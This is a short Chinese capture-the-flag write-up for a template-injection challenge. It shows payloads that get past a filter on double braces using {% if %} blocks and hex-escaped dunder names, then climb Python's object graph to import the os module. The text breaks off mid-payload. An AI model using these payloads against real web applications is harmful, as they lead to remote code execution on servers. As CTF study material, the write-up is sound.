1024杯—-Hellow World
打开页面如图所示
发现是模板注入
把{
{和}}过滤了 , 尝试使用{%%}这种形式的,发现成功执行
key={%if ''!=1%}air{%endif%} #error
key={%if ""!=1%}air{%endif%} #正常
key={%if "".__class__!=1%}air{%endif%} #error
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}air{%endif%} #正常
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()!=1%}air{%endif%} #正常
在这里由于没有回显,不知道"".class.base.subclasses()下具体使用哪个下标,所以直接在bp里爆破 。
"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")
key={%if ""